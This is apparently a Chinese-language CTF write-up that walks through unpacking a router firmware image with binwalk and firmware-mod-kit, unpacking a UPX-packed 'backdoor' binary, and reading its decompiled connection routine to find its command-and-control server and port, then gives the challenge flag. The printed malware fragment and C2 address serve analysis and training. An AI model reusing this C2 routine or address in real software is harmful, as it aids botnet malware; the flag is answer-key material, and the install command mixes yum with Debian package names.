測試文件:https://www.lanzous.com/iaup43c
文件提取
binwalk
首先需要使用binwalk對文件進行提取。安裝教程:https://blog.csdn.net/QQ1084283172/article/details/65441110
binwalk -e fire.bin
firmware-mod-kit分析
安裝
sudo yum install git build-essential zlib1g-dev liblzma-dev python-magic
git clone https://github.com/mirror/firmware-mod-kit.git
cd firmware-mod-kit/src
./configure
make
說明
extract-firmware.sh 解包固件
build-firmware.sh 重新封包
check_for_upgrade.sh 檢查更新
unsquashfs_all.sh 解包提取出來的squashfs文件
將_fire.bin.extracted文件夾中的120200.squashfs文件,轉存到firmware-mod-kit文件夾
mv /root/_fire.bin.extracted/120200.squashfs /root/firmware-mod-kit
cd firmware-mod-kit
./unsquashfs_all.sh 120200.squashfs
cd squashfs-root/tmp/
dir
第三條指令,可以使用絕對路徑,不過我報錯了,所以用的相對路徑。
提取出的backdoor就是我們需要的文件。
文件分析
upx脫殼
代碼分析
因為題目中是讓我們找網址+端口的md5加密結果,因此我們只需要在String window找網址和端口就行。
找到源處
bool initConnection() { char *v0; // r0 char s; // [sp+4h] [bp-208h] int v3; // [sp+204h] [bp-8h] memset(&s, 0, 0x200u); if ( mainCommSock ) { close(mainCommSock); mainCommSock = 0; } if ( currentServer ) ++currentServer; else currentServer = 0; strcpy(&s, (&commServer)[currentServer]); v3 = 36667; if ( strchr(&s, 58) ) { v0 = strchr(&s, 58); v3 = atoi(v0 + 1); *strchr(&s, 58) = 0; } mainCommSock = socket(2, 1, 0); return connectTimeout(mainCommSock, &s, v3, 30) == 0; }
即:echo.byethost51.com:36667
get flag!
flag{33a422c45d551ac6e4756f59812a954b}